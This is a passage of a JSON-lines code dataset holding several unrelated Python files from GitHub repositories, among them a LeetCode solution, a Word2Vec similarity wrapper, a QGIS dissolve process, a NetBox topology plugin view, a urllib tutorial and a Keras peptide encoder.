\"\"\"\n Approach 4: Counting Sort\n time: O(n+k), space: O(n)\n Follow-up requirement: time complexity better than O(nlogn)\n \"\"\"\n def topKFrequent(self, nums: List[int], k: int) -> List[int]:\n count = {}\n freq = [[] for _ in range(len(nums)+1)]\n\n for num in nums:\n count[num] = 1 + count.get(num, 0)\n for num, cnt in count.items():\n freq[cnt].append(num)\n\n res = []\n for i in range(len(freq)-1, 0, -1):\n for num in freq[i]:\n res.append(num)\n if len(res) == k:\n return res\n","repo_name":"Ashou-AI/leetcode-answers","sub_path":"0. Arrays & Hashing/347. Top K Frequent Elements.py","file_name":"347. Top K Frequent Elements.py","file_ext":"py","file_size_in_byte":3955,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"70"} +{"seq_id":"22545080102","text":"from gensim.models import KeyedVectors\n\nclass Word2Vec():\n\tdef __init__(self, modelPath, kind='bin'):\n\t\t\"\"\"\n\t\t创建Word2Vec对象\n\t\t\n\t\tmodelPath: 模型路径\n\t\tkind: 模型类型\n\t\t\tbin: 二进制文件\n\t\t\ttxt: 文本文件\n\t\treturn: 无\n\t\t\"\"\"\n\t\t\n\t\tif kind != 'bin':\n\t\t\tkind = False\n\t\telse:\n\t\t\tkind = True\n\t\tprint('loading word2vector model...')\n\t\tself.model = KeyedVectors.load_word2vec_format(modelPath, binary=kind, unicode_errors='ignore')\n\t\n\tdef get_word_vector(self, word):\n\t\t\"\"\"\n\t\t获得词向量\n\t\t\n\t\tword: 词语\n\t\treturn: 词向量\n\t\t\"\"\"\n\t\t\n\t\tif word in self.model:\n\t\t\treturn self.model[word]\n\t\treturn None\n\t\t\n\tdef word_similarity(self, word1, word2):\n\t\t\"\"\"\n\t\t计算词语相似度\n\t\t\n\t\tword1: 词语1\n\t\tword2: 词语2\n\t\treturn: 词语1与词语2的相似度\n\t\t\"\"\"\n\t\t\n\t\tif word1 not in self.model or word2 not in self.model:\n\t\t\treturn 0\n\t\treturn self.model.similarity(word1, word2)\n\t\t\n\tdef get_similar_Words(self, word, maxReturnNum):\n\t\t\"\"\"\n\t\t获得语义相似的词语\n\t\t\n\t\tword: 词语\n\t\tmaxReturnNum: 最大返回词语数量\n\t\treturn: 词语及相似度 [(word, simi)...]\n\t\t\"\"\"\n\t\t\n\t\tif word not in self.model:\n\t\t\treturn None\n\t\treturn self.model.similar_by_word(word, topn=maxReturnNum)\n\t\n\tdef __cal_max_similarity(self, centerWord, wordList):\n\t\t\"\"\"\n\t\t计算词���与词语列表中词语的最大相似度\n\t\t\n\t\tcenterWord: 词语\n\t\twordList: 词语列表\n\t\treturn: 词语与词语列表中词语的最大相似度\n\t\t\"\"\"\n\t\t\n\t\tmaxSimi = -1\n\t\tif centerWord in wordList:\n\t\t\treturn 1\n\t\telse:\n\t\t\tfor word in wordList:\n\t\t\t\ttemp = self.word_similarity(centerWord, word)\n\t\t\t\tif temp == 0: continue\n\t\t\t\tif temp > maxSimi: maxSimi = temp\n\t\tif maxSimi == -1: return 0\n\t\treturn maxSimi\n\t\t\n\tdef sentence_similarity(self, sentence1Words, sentence2Words):\n\t\t\"\"\"\n\t\t计算句子相似度\n\t\t\n\t\tsentence1Words: 句子1词语列表\n\t\tsentence2Words: 句子2词语列表\n\t\treturn: 两个句子的相似度\n\t\t\"\"\"\n\t\t\n\t\tif len(sentence1Words) == 0 or len(sentence2Words) == 0:\n\t\t\treturn 0\n\t\tvector1 = [self.__cal_max_similarity(word, sentence2Words) for word in sentence1Words]\n\t\tvector2 = [self.__cal_max_similarity(word, sentence1Words) for word in sentence2Words]\n\t\treturn (sum(vector1) + sum(vector2)) / (len(vector1) + len(vector2))\n\t\n\tdef sentence_weight_similarity(self, sentence1Words, sentence2Words, weightVector1, weightVector2):\n\t\t\"\"\"\n\t\t计算句子相似度(带权值)\n\t\t每一个词语都有一个对应的权值\n\t\t\n\t\tsentence1Words: 句子1词语列表\n\t\tsentence2Words: 句子2词语列表\n\t\tweightVector1: 句子1权值向量\n\t\tweightVector2: 句子2权值向量\n\t\treturn: 两个句子的相似度\n\t\t\"\"\"\n\t\t\n\t\tif len(sentence1Words) == 0 or len(sentence2Words) == 0:\n\t\t\treturn 0\n\t\tif len(sentence1Words) != len(weightVector1) or len(sentence2Words) != len(weightVector2):\n\t\t\traise Exception('length of word list and weight vector is different')\n\t\tvector1 = [self.__cal_max_similarity(word, sentence2Words) * weight for word, weight in zip(sentence1Words, weightVector1)]\n\t\tvector2 = [self.__cal_max_similarity(word, sentence1Words) * weight for word, weight in zip(sentence2Words, weightVector2)]\n\t\treturn (sum(vector1) + sum(vector2)) / (sum(weightVector1) + sum(weightVector2))","repo_name":"jsksxs360/Word2Vec","sub_path":"python/Word2Vec.py","file_name":"Word2Vec.py","file_ext":"py","file_size_in_byte":3187,"program_lang":"python","lang":"en","doc_type":"code","stars":171,"dataset":"github-code","pt":"70"} +{"seq_id":"9512759166","text":"from qgis.core import QgsMessageLog, QgsVectorLayer, QgsMapLayerRegistry, QgsGeometry, QgsVectorDataProvider, QgsFeatureRequest, QgsExpression, QgsFeature, QgsDataSourceURI, QgsSpatialIndex, QgsField\nfrom DsgTools.ValidationTools.ValidationProcesses.validationProcess import ValidationProcess\nfrom PyQt4.QtCore import QVariant\nimport processing, binascii\n\nclass DissolvePolygonsWithCommonAttributesProcess(ValidationProcess):\n def __init__(self, postgisDb, iface, instantiating=False):\n \"\"\"\n Constructor\n \"\"\"\n super(self.__class__,self).__init__(postgisDb, iface, instantiating)\n self.processAlias = self.tr('Dissolve polygons with common attributes')\n \n if not self.instantiating:\n # getting tables with elements\n self.classesWithElemDict = self.abstractDb.getGeomColumnDictV2(primitiveFilter=['a'], withElements=True, excludeValidation = True)\n # adjusting process parameters\n interfaceDictList = []\n for key in self.classesWithElemDict:\n cat, lyrName, geom, geomType, tableType = key.split(',')\n interfaceDictList.append({self.tr('Category'):cat, self.tr('Layer Name'):lyrName, self.tr('Geometry\\nColumn'):geom, self.tr('Geometry\\nType'):geomType, self.tr('Layer\\nType'):tableType})\n self.parameters = {'Classes': interfaceDictList, 'MaxDissolveArea': -1.0, 'AttributeBlackList (comma separated)':''}\n \n def preProcess(self):\n \"\"\"\n Returns the name of the pre process that must run before, must be reimplemented in each process\n \"\"\"\n return self.tr('Force Geometries Validity') \n\n def postProcess(self):\n \"\"\"\n Gets the process that should be execute after this one\n \"\"\"\n return self.tr('Deaggregate Geometries')\n \n def runProcessinAlg(self, layer):\n \"\"\"\n Runs the actual grass process\n \"\"\"\n alg = 'qgis:dissolve'\n uri = QgsDataSourceURI(layer.dataProvider().dataSourceUri())\n keyColumn = uri.keyColumn()\n #field.type() != 6 stands for virtual columns such as area_otf\n auxLayer = self.createUnifiedLayer([layer], attributeTupple = True, attributeBlackList = self.parameters['AttributeBlackList (comma separated)'])\n if self.parameters['MaxDissolveArea'] > 0:\n auxLayer = self.addDissolveField(auxLayer, self.parameters['MaxDissolveArea'])\n ret = processing.runalg(alg, auxLayer, False, 'tupple', None)\n if not ret:\n raise Exception(self.tr('Problem executing qgis:dissolve. Check your installed libs.\\n'))\n #updating original layer\n outputLayer = processing.getObject(ret['OUTPUT'])\n QgsMapLayerRegistry.instance().removeMapLayer(auxLayer.id())\n self.splitUnifiedLayer(outputLayer, [layer])\n return outputLayer\n \n def addDissolveField(self, layer, tol):\n #add temp field\n idField = QgsField('d_id',QVariant.Int)\n layer.dataProvider().addAttributes([idField])\n layer.updateFields()\n #small feature list\n smallFeatureList = []\n bigFeatureList = []\n bigFeatIndex = QgsSpatialIndex()\n for feat in layer.getFeatures():\n feat['d_id'] = feat['featid']\n if feat.geometry().area() < float(tol):\n smallFeatureList.append(feat)\n else:\n bigFeatIndex.insertFeature(feat)\n bigFeatureList.append(feat)\n \n # using spatial index to speed up the process\n for sfeat in smallFeatureList:\n candidates = bigFeatIndex.intersects(sfeat.geometry().boundingBox())\n for candidate in candidates:\n bfeat = [i for i in layer.dataProvider().getFeatures(QgsFeatureRequest(candidate))][0]\n if sfeat['d_id'] == sfeat['featid'] and sfeat.geometry().intersects(bfeat.geometry()) and sfeat['tupple'] == bfeat['tupple']:\n sfeat['d_id'] = bfeat['featid']\n\n idx = layer.fieldNameIndex('tupple')\n updateDict = dict()\n for feat in smallFeatureList + bigFeatureList:\n newValue = u'{0},{1}'.format(feat['tupple'], feat['d_id'])\n updateDict[feat.id()] = {idx:newValue}\n layer.dataProvider().changeAttributeValues(updateDict)\n return layer\n \n def getCandidates(self, idx, bbox):\n return idx.intersects(bbox)\n\n def execute(self):\n \"\"\"\n Reimplementation of the execute method from the parent class\n \"\"\"\n QgsMessageLog.logMessage(self.tr('Starting ')+self.getName()+self.tr(' Process.'), \"DSG Tools Plugin\", QgsMessageLog.CRITICAL)\n try:\n self.setStatus(self.tr('Running'), 3) #now I'm running!\n self.abstractDb.deleteProcessFlags(self.getName()) #erase previous flags\n classesWithElem = self.parameters['Classes']\n if len(classesWithElem) == 0:\n self.setStatus(self.tr('No classes selected!. Nothing to be done.'), 1) #Finished\n QgsMessageLog.logMessage(self.tr('No classes selected! Nothing to be done.'), \"DSG Tools Plugin\", QgsMessageLog.CRITICAL)\n return 1\n error = False\n classlist = []\n for key in classesWithElem:\n self.startTimeCount()\n # preparation\n classAndGeom = self.classesWithElemDict[key]\n lyr = self.loadLayerBeforeValidationProcess(classAndGeom)\n output = self.runProcessinAlg(lyr)\n self.logLayerTime(classAndGeom['lyrName'])\n\n if error:\n self.setStatus(self.tr('There are dissolve errors. Check log.'), 4) #Finished with errors\n else:\n self.setStatus(self.tr('Dissolve finished.'), 1) #Finished\n return 1\n except Exception as e:\n QgsMessageLog.logMessage(':'.join(e.args), \"DSG Tools Plugin\", QgsMessageLog.CRITICAL)\n self.finishedWithError()\n return 0\n","repo_name":"piangers/DSGToolsReshapeFreeHand","sub_path":"ValidationTools/ValidationProcesses/dissolvePolygonsWithCommonAttributesProcess.py","file_name":"dissolvePolygonsWithCommonAttributesProcess.py","file_ext":"py","file_size_in_byte":6052,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"32122752467","text":"\nfrom networkx import erdos_renyi_graph, adjacency_matrix\nfrom utils import *\n\n\nclass ReservoirEncoder:\n def __init__(self, reservoirConf):\n self.nz = reservoirConf.nz\n self.nu = reservoirConf.nu\n self.alpha = reservoirConf.alpha\n self.target_rho = reservoirConf.target_rho\n input_scale = reservoirConf.input_scale\n self.state = None\n self.activation = reservoirConf.activation\n\n # sparse recurrent weights init\n if reservoirConf.connectivity < 1:\n g = erdos_renyi_graph(\n reservoirConf.nz,\n reservoirConf.connectivity,\n seed=42,\n directed=True\n )\n self.A = np.array(adjacency_matrix(g).todense()).astype(np.float)\n\n # full-connected recurrent weights init\n else:\n self.A = np.random.uniform(-1, +1, size=(self.nz, self.nz))\n self.A = (self.A + self.A.T)/2\n\n rho = max(abs(np.linalg.eig(self.A)[0]))\n self.A *= self.target_rho / rho\n self.B = np.random.uniform(-input_scale, input_scale, size=(self.nz, self.nu))\n\n def state_transition(self, z, u):\n z = (1 - self.alpha) * z + self.alpha * self.activation(self.A @ z + self.B @ u)\n return z\n\n def transform(self, x):\n nx, nt = x.shape\n z = np.zeros((self.nz, nt))\n for i in range(nx // self.nu):\n u = x[i * self.nu:(i + 1) * self.nu]\n z = self.state_transition(z, u)\n return z\n\n def echostate(self, x):\n nx, nt = x.shape\n z = np.zeros((self.nz, nt))\n for i in range(nt):\n u = x[-self.nu:, i]\n z[:, i] = self.state_transition(z[:, i-1], u)\n return z\n","repo_name":"githubxiaowei/RBFNN","sub_path":"models/Reservoir.py","file_name":"Reservoir.py","file_ext":"py","file_size_in_byte":1738,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"28694842430","text":"#!./venv/bin/python\n\nfrom django.shortcuts import render\nfrom django.views.generic import View\nfrom dcim.models import Cable, Device, Interface\nfrom django.contrib.auth.mixins import PermissionRequiredMixin\nfrom django.conf import settings\nfrom packaging import version\nimport json\nimport re\n\nNETBOX_CURRENT_VERSION = version.parse(settings.VERSION)\n\n# Default NeXt UI icons\nSUPPORTED_ICONS = {\n 'switch',\n 'router',\n 'firewall',\n 'wlc',\n 'unknown',\n 'server',\n 'phone',\n 'nexus5000',\n 'ipphone',\n 'host',\n 'camera',\n 'accesspoint',\n 'groups',\n 'groupm',\n 'groupl',\n 'cloud',\n 'unlinked',\n 'hostgroup',\n 'wirelesshost',\n}\n\n# Topology layers would be sorted\n# in the same descending order\n# as in the tuple below.\n# It is expected that Device Role\n# slugs in Netbox exactly match\n# values listed below.\n# Update mapping to whatever you use.\nDEFAULT_LAYERS_SORT_ORDER = (\n 'undefined',\n 'outside',\n 'border',\n 'edge',\n 'edge-switch',\n 'edge-router',\n 'core',\n 'core-router',\n 'core-switch',\n 'distribution',\n 'distribution-router',\n 'distribution-switch',\n 'leaf',\n 'spine',\n 'access',\n 'access-switch',\n)\n\n\ninterface_full_name_map = {\n 'Eth': 'Ethernet',\n 'Fa': 'FastEthernet',\n 'Gi': 'GigabitEthernet',\n 'Te': 'TenGigabitEthernet',\n}\n\n\nDEFAULT_ICON_MODEL_MAP = {\n 'CSR1000V': 'router',\n 'Nexus': 'switch',\n 'IOSXRv': 'router',\n 'IOSv': 'switch',\n '2901': 'router',\n '2911': 'router',\n '2921': 'router',\n '2951': 'router',\n '4321': 'router',\n '4331': 'router',\n '4351': 'router',\n '4421': 'router',\n '4431': 'router',\n '4451': 'router',\n '2960': 'switch',\n '3750': 'switch',\n '3850': 'switch',\n 'ASA': 'firewall',\n}\n\n\nDEFAULT_ICON_ROLE_MAP = {\n 'border': 'router',\n 'edge-switch': 'switch',\n 'edge-router': 'router',\n 'core-router': 'router',\n 'core-switch': 'switch',\n 'distribution': 'switch',\n 'distribution-router': 'router',\n 'distribution-switch': 'switch',\n 'leaf': 'switch',\n 'spine': 'switch',\n 'access': 'switch',\n 'access-switch': 'switch',\n}\n\n\nPLUGIN_SETTINGS = settings.PLUGINS_CONFIG.get(\"nextbox_ui_plugin\", dict())\n\nMANUAL_LAYERS_SORT_ORDER = PLUGIN_SETTINGS.get(\"layers_sort_order\", \"\")\nLAYERS_SORT_ORDER = MANUAL_LAYERS_SORT_ORDER or DEFAULT_LAYERS_SORT_ORDER\n\nMANUAL_ICON_MODEL_MAP = PLUGIN_SETTINGS.get(\"icon_model_map\", \"\")\nICON_MODEL_MAP = MANUAL_ICON_MODEL_MAP or DEFAULT_ICON_MODEL_MAP\n\nMANUAL_ICON_ROLE_MAP = PLUGIN_SETTINGS.get(\"icon_role_map\", \"\")\nICON_ROLE_MAP = MANUAL_ICON_ROLE_MAP or DEFAULT_ICON_ROLE_MAP\n\n# Defines whether Devices with no connections\n# are displayed on the topology view by default or not.\nDISPLAY_UNCONNECTED = PLUGIN_SETTINGS.get(\"DISPLAY_UNCONNECTED\", True)\n\n# Defines whether logical links between end-devices for multi-cable hops\n# are displayed in addition to the physical cabling on the topology view by default or not.\nDISPLAY_LOGICAL_MULTICABLE_LINKS = PLUGIN_SETTINGS.get(\"DISPLAY_LOGICAL_MULTICABLE_LINKS\", False)\n\n# Defines whether passive devices\n# are displayed on the topology view by default or not.\n# Passive devices are patch pannels, power distribution units, etc.\nDISPLAY_PASSIVE_DEVICES = PLUGIN_SETTINGS.get(\"DISPLAY_PASSIVE_DEVICES\", False)\n\n# Hide these roles by default\nUNDISPLAYED_DEVICE_ROLE_SLUGS = PLUGIN_SETTINGS.get(\"undisplayed_device_role_slugs\", tuple())\n\n# Hide devices tagged with these tags\nUNDISPLAYED_DEVICE_TAGS = PLUGIN_SETTINGS.get(\"undisplayed_device_tags\", tuple())\n\n# Filter device tags listed in Select Layers menu\nSELECT_LAYERS_LIST_INCLUDE_DEVICE_TAGS = PLUGIN_SETTINGS.get(\"select_layers_list_include_device_tags\", tuple())\nSELECT_LAYERS_LIST_EXCLUDE_DEVICE_TAGS = PLUGIN_SETTINGS.get(\"select_layers_list_exclude_device_tags\", tuple())\n\n# Defines the initial layer alignment direction on the view\nINITIAL_LAYOUT = PLUGIN_SETTINGS.get(\"INITIAL_LAYOUT\", 'auto')\nif INITIAL_LAYOUT not in ('vertical', 'horizontal', 'auto'):\n INITIAL_LAYOUT = 'auto'\n\n\ndef if_shortname(ifname):\n for k, v in interface_full_name_map.items():\n if ifname.startswith(v):\n return ifname.replace(v, k)\n return ifname\n\n\ndef get_node_layer_sort_preference(device_role):\n \"\"\"Layer priority selection function\n Layer sort preference is designed as numeric value.\n This function identifies it by LAYERS_SORT_ORDER\n object position by default. With numeric values,\n the logic may be improved without changes on NeXt app side.\n 0(null) results undefined layer position in NeXt UI.\n Valid indexes start with 1.\n \"\"\"\n for i, role in enumerate(LAYERS_SORT_ORDER, start=1):\n if device_role == role:\n return i\n return 1\n\n\ndef get_icon_type(device_id):\n \"\"\"\n Node icon getter function.\n Selection order:\n 1. Based on 'icon_{icon_type}' tag in Netbox device\n 2. Based on Netbox device type and ICON_MODEL_MAP\n 3. Based on Netbox device role and ICON_ROLE_MAP\n 4. Default 'undefined'\n \"\"\"\n nb_device = Device.objects.get(id=device_id)\n if not nb_device:\n return 'unknown'\n for tag in nb_device.tags.names():\n if 'icon_' in tag:\n if tag.replace('icon_', '') in SUPPORTED_ICONS:\n return tag.replace('icon_', '')\n for model_base, icon_type in ICON_MODEL_MAP.items():\n if model_base in str(nb_device.device_type.model):\n return icon_type\n for role_slug, icon_type in ICON_ROLE_MAP.items():\n if str(nb_device.device_role.slug) == role_slug:\n return icon_type\n return 'unknown'\n\n\ndef tag_is_hidden(tag):\n for tag_regex in UNDISPLAYED_DEVICE_TAGS:\n if re.search(tag_regex, tag):\n return True\n return False\n\n\ndef filter_tags(tags):\n if not tags:\n return []\n if SELECT_LAYERS_LIST_INCLUDE_DEVICE_TAGS:\n filtered_tags = []\n for tag in tags:\n for tag_regex in SELECT_LAYERS_LIST_INCLUDE_DEVICE_TAGS:\n if re.search(tag_regex, tag):\n filtered_tags.append(tag)\n break\n if tag_is_hidden(tag):\n filtered_tags.append(tag)\n tags = filtered_tags\n if SELECT_LAYERS_LIST_EXCLUDE_DEVICE_TAGS:\n filtered_tags = []\n for tag in tags:\n for tag_regex in SELECT_LAYERS_LIST_EXCLUDE_DEVICE_TAGS:\n if re.search(tag_regex, tag) and not tag_is_hidden(tag):\n break\n else:\n filtered_tags.append(tag)\n tags = filtered_tags\n return tags\n\n\ndef get_site_topology(site_id):\n topology_dict = {'nodes': [], 'links': []}\n device_roles = set()\n site_device_tags = set()\n multi_cable_connections = []\n if not site_id:\n return topology_dict, device_roles, multi_cable_connections, list(site_device_tags)\n nb_devices = Device.objects.filter(site_id=site_id)\n if not nb_devices:\n return topology_dict, device_roles, multi_cable_connections, list(site_device_tags)\n links = []\n device_ids = [d.id for d in nb_devices]\n for nb_device in nb_devices:\n device_is_passive = False\n primary_ip = ''\n if nb_device.primary_ip:\n primary_ip = str(nb_device.primary_ip.address)\n tags = [str(tag) for tag in nb_device.tags.names()] or []\n tags = filter_tags(tags)\n for tag in tags:\n site_device_tags.add((tag, not tag_is_hidden(tag)))\n links_from_device = Cable.objects.filter(_termination_a_device_id=nb_device.id)\n links_to_device = Cable.objects.filter(_termination_b_device_id=nb_device.id)\n if links_from_device:\n # Device is considered passive if it has no linked Interfaces.\n # Passive cabling devices use Rear and Front Ports.\n for link in links_from_device:\n if isinstance(link.termination_a, Interface) and link.termination_a.device.id == nb_device.id:\n break\n else:\n device_is_passive = True\n if links_to_device:\n for link in links_to_device:\n if isinstance(link.termination_b, Interface) and link.termination_b.device.id == nb_device.id:\n break\n else:\n device_is_passive = True\n topology_dict['nodes'].append({\n 'id': nb_device.id,\n 'name': nb_device.name,\n 'primaryIP': primary_ip,\n 'serial_number': nb_device.serial,\n 'model': nb_device.device_type.model,\n 'deviceRole': nb_device.device_role.slug,\n 'layerSortPreference': get_node_layer_sort_preference(\n nb_device.device_role.slug\n ),\n 'icon': get_icon_type(\n nb_device.id\n ),\n 'isPassive': device_is_passive,\n 'tags': tags,\n })\n is_visible = not (nb_device.device_role.slug in UNDISPLAYED_DEVICE_ROLE_SLUGS)\n device_roles.add((nb_device.device_role.slug, nb_device.device_role.name, is_visible))\n if not links_from_device:\n continue\n for link in links_from_device:\n # Include links to devices from the same Site only\n if link._termination_b_device_id in device_ids:\n links.append(link)\n device_roles = list(device_roles)\n device_roles.sort(key=lambda i: get_node_layer_sort_preference(i[0]))\n site_device_tags = list(site_device_tags)\n site_device_tags.sort()\n if not links:\n return topology_dict, device_roles, multi_cable_connections, list(site_device_tags)\n link_ids = set()\n for link in links:\n link_ids.add(link.id)\n topology_dict['links'].append({\n 'id': link.id,\n 'source': link.termination_a.device.id,\n 'target': link.termination_b.device.id,\n \"srcIfName\": if_shortname(link.termination_a.name),\n \"tgtIfName\": if_shortname(link.termination_b.name)\n })\n if not (isinstance(link.termination_a, Interface) or isinstance(link.termination_b, Interface)):\n # Skip trace if none of cable terminations is an Interface\n continue\n interface_side = None\n if isinstance(link.termination_a, Interface):\n interface_side = link.termination_a\n elif isinstance(link.termination_b, Interface):\n interface_side = link.termination_b\n trace_result = interface_side.trace()\n if not trace_result:\n continue\n if NETBOX_CURRENT_VERSION >= version.parse(\"2.10.1\"):\n # Version 2.10.1 introduces some changes in cable trace behavior.\n cable_path = trace_result\n else:\n cable_path, *ignore = trace_result\n # identify segmented cable paths between end-devices\n if len(cable_path) < 2:\n continue\n if isinstance(cable_path[0][0], Interface) and isinstance(cable_path[-1][2], Interface):\n if set([c[1] for c in cable_path]) in [set([c[1] for c in x]) for x in multi_cable_connections]:\n continue\n multi_cable_connections.append(cable_path)\n for cable_path in multi_cable_connections:\n link_id = max(link_ids) + 1 # dummy ID for a logical link\n link_ids.add(link_id)\n topology_dict['links'].append({\n 'id': link_id,\n 'source': cable_path[0][0].device.id,\n 'target': cable_path[-1][2].device.id,\n \"srcIfName\": if_shortname(cable_path[0][0].name),\n \"tgtIfName\": if_shortname(cable_path[-1][2].name),\n \"isLogicalMultiCable\": True,\n })\n return topology_dict, device_roles, multi_cable_connections, site_device_tags\n\n\nclass TopologyView(PermissionRequiredMixin, View):\n \"\"\"Site Topology View\"\"\"\n permission_required = ('dcim.view_site', 'dcim.view_device', 'dcim.view_cable')\n\n def get(self, request, site_id):\n topology_dict, device_roles, multi_cable_connections, device_tags = get_site_topology(site_id)\n\n return render(request, 'nextbox_ui_plugin/site_topology.html', {\n 'source_data': json.dumps(topology_dict),\n 'display_unconnected': DISPLAY_UNCONNECTED,\n 'device_roles': device_roles,\n 'device_tags': device_tags,\n 'undisplayed_roles': list(UNDISPLAYED_DEVICE_ROLE_SLUGS),\n 'undisplayed_device_tags': list(UNDISPLAYED_DEVICE_TAGS),\n 'display_logical_multicable_links': DISPLAY_LOGICAL_MULTICABLE_LINKS,\n 'display_passive_devices': DISPLAY_PASSIVE_DEVICES,\n 'initial_layout': INITIAL_LAYOUT,\n })\n","repo_name":"ChrisdAutume/nextbox-ui-plugin","sub_path":"nextbox_ui_plugin/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":12680,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"70"} +{"seq_id":"33831244097","text":"\"\"\"\nTopic: HOW TO Fetch Internet Resources Using The urllib Package\nAuthor: Michael Foord\n\"\"\"\n\nimport urllib.parse\nimport urllib.request\n\nurl = \"http://www.someserver.com/cgi-bin/register.cgi\"\nuser_agent = \"Mozilla/5.0 (Windows NT 6.1; Win64; x64)\"\nvalues = {\"name\": \"Michael Foord\", \"location\": \"Northampton\", \"language\": \"Python\"}\nheaders = {\"User-Agent\": user_agent}\ndata = urllib.parse.urlencode(values)\ndata = data.encode(\"ascii\")\nrequest = urllib.request.Request(url, data, headers=headers)\nwith urllib.request.urlopen(request) as response:\n the_page = response.read()\n actual_data = the_page.decode(\"UTF-8\")\n with open(\"urllib.html\", \"w\") as html_file:\n # html_file.write(actual_data) ==> Uncomment this before you run the code.\n pass\n\n\n\"\"\" Hndling Errors \nURL ERROR\nOften, URLError is raised because there is no network connection (no route to the specified server), or the specified server doesn't exist. In this case, the exception raised will have a 'reason' attribute, which is a tuple containing an error code and a text error message.\n\nHTTP ERROR\nEvery HTTP response from the server contains a numeric “status code”. Sometimes the status code indicates that the server is unable to fulfil the request. The default handlers will handle some of these responses for you (for example, if the response is a “redirection” that requests the client fetch the document from a different URL, urllib will handle that for you). For those it can't handle, urlopen will raise an HTTPError. Typical errors include '404' (page not found), '403' (request forbidden), and '401' (authentication required).\n\"\"\"\n\nfrom urllib.request import Request, urlopen\nfrom urllib.error import HTTPError, URLError\nfrom urllib import parse\n\nurl = \"https://www.google.com/search\"\nparam = {\"q\": \"Electric Vehicles\"}\nparam_s = parse.urlencode(param)\nsearch_param = param_s.encode(\"utf-8\")\nheaders = {\"User-Agent\": \"Mozilla/5.0 (Windows NT 6.1; Win64; x64)\"}\nrequest = Request(url, search_param, headers=headers)\ntry:\n search_request = urlopen(request)\n data = search_request.read()\n data = data.decode(\"UTF-8\")\n print(data)\nexcept HTTPError as http_error:\n print(\"HTTPError\", http_error)\nexcept URLError as url_error:\n print(\"URLError\", url_error)\nelse:\n print(\"Everything is fine\")\nfinally:\n print(\"Action completed\")\n\n# Note The except HTTPError must come first, otherwise except URLError will also catch an HTTPError.\n","repo_name":"Ronnie5562/ML002","sub_path":"Section1/CorePython/urllib_lec3.py","file_name":"urllib_lec3.py","file_ext":"py","file_size_in_byte":2453,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"70"} +{"seq_id":"23558855104","text":"from typing import Any\nfrom typing import Dict\nfrom typing import Optional\n\nfrom keras import layers\nfrom keras import models\nfrom keras import backend\n\nfrom amp.models.encoders import encoder\nfrom amp.models import model\n\n\nclass AMPEncoder(encoder.Encoder):\n\n def __init__(\n self,\n embedding: layers.Embedding,\n hidden: layers.Layer,\n hidden2: layers.Layer,\n dense_z_mean: layers.Layer,\n dense_z_sigma: layers.Layer,\n input_shape: tuple,\n latent_dim: int,\n hidden_dim: int,\n name: str = 'AMPExpandedEncoder',\n ):\n self.latent_dim = latent_dim\n self.hidden_dim = hidden_dim\n self.input_shape = input_shape\n\n self.embedding = embedding\n self.hidden = hidden\n self.hidden2 = hidden2\n self.z_mean = dense_z_mean\n self.z_sigma = dense_z_sigma\n self.name = name\n self.dense_emb = layers.Dense(self.embedding.output_dim, use_bias=False, name=\"encoder_dense_emb\")\n\n def output_tensor(self, input_=None):\n emb = self.call_layer_on_input(self.embedding, input_)\n hidden = self.call_layer_on_input(self.hidden, emb)\n hidden2 = self.call_layer_on_input(self.hidden2, hidden)\n z_mean = self.call_layer_on_input(self.z_mean, hidden2)\n z_sigma = self.call_layer_on_input(self.z_sigma, hidden2)\n z = self.call_layer_on_input(layers.Lambda(self.sampling, output_shape=(self.latent_dim,)), ([z_mean, z_sigma]))\n\n return z_mean, z_sigma, z\n\n def output_tensor_with_dense_input(self, input_: Optional[Any]):\n if input_ is None:\n x = layers.Input(shape=(self.input_shape[0], 21))\n else:\n x = input_\n\n emb = self.call_layer_on_input(self.dense_emb, x)\n try:\n self.dense_emb.set_weights(self.embedding.get_weights())\n except ValueError:\n if hasattr(self.embedding, 'loaded_weights') and self.embedding.loaded_weights:\n self.dense_emb.set_weights(self.embedding.loaded_weights)\n\n self.dense_emb.trainable = self.embedding.trainable\n hidden = self.call_layer_on_input(self.hidden, emb)\n hidden2 = self.call_layer_on_input(self.hidden2, hidden)\n z_mean = self.call_layer_on_input(self.z_mean, hidden2)\n z_sigma = self.call_layer_on_input(self.z_sigma, hidden2)\n z = self.call_layer_on_input(layers.Lambda(self.sampling, output_shape=(self.latent_dim,)), ([z_mean, z_sigma]))\n\n return z_mean, z_sigma, z\n\n def __call__(self, input_=None):\n x = input_ if input_ is not None else layers.Input(shape=(self.input_shape[0],))\n z_mean, z_sigma, z = self.output_tensor(x)\n model = models.Model(x, z_mean)\n return model\n\n def sampling(self, input_: Optional[Any] = None):\n z_mean, z_sigma = input_\n epsilon = backend.random_normal(shape=(self.latent_dim,),\n mean=0., stddev=1.)\n return z_mean + backend.exp(z_sigma / 2) * epsilon\n\n def get_config_dict(self) -> Dict:\n return {\n 'type': type(self).__name__,\n 'name': self.name,\n 'latent_dim': self.latent_dim,\n 'hidden_dim': self.hidden_dim,\n 'input_shape': self.input_shape\n }\n\n def get_layers_with_names(self) -> Dict[str, layers.Layer]:\n return {\n\n f'{self.name}_embedding': self.embedding,\n f'{self.name}_hidden': self.hidden,\n f'{self.name}_hidden2': self.hidden2,\n f'{self.name}_dense_z_mean': self.z_mean,\n f'{self.name}_dense_z_sigma': self.z_sigma,\n }\n\n @classmethod\n def from_config_dict_and_layer_collection(\n cls,\n config_dict: Dict,\n layer_collection: model.ModelLayerCollection,\n ) -> \"AMPEncoder\":\n return cls(\n name=config_dict['name'],\n embedding=layer_collection[config_dict['name'] + '_embedding'],\n hidden=layer_collection[config_dict['name'] + '_hidden'],\n hidden2=layer_collection[config_dict['name'] + '_hidden2'],\n hidden_dim=config_dict['hidden_dim'],\n latent_dim=config_dict['latent_dim'],\n input_shape=config_dict['input_shape'],\n dense_z_mean=layer_collection[config_dict['name'] + '_dense_z_mean'],\n dense_z_sigma=layer_collection[config_dict['name'] + '_dense_z_sigma'],\n )\n\n\nclass AMPEncoderFactory:\n\n @staticmethod\n def get_default(\n hidden_dim: int,\n latent_dim: int,\n max_length: int,\n ) -> AMPEncoder:\n emb = layers.Embedding(\n input_dim=21,\n output_dim=100,\n input_length=max_length,\n mask_zero=False,\n 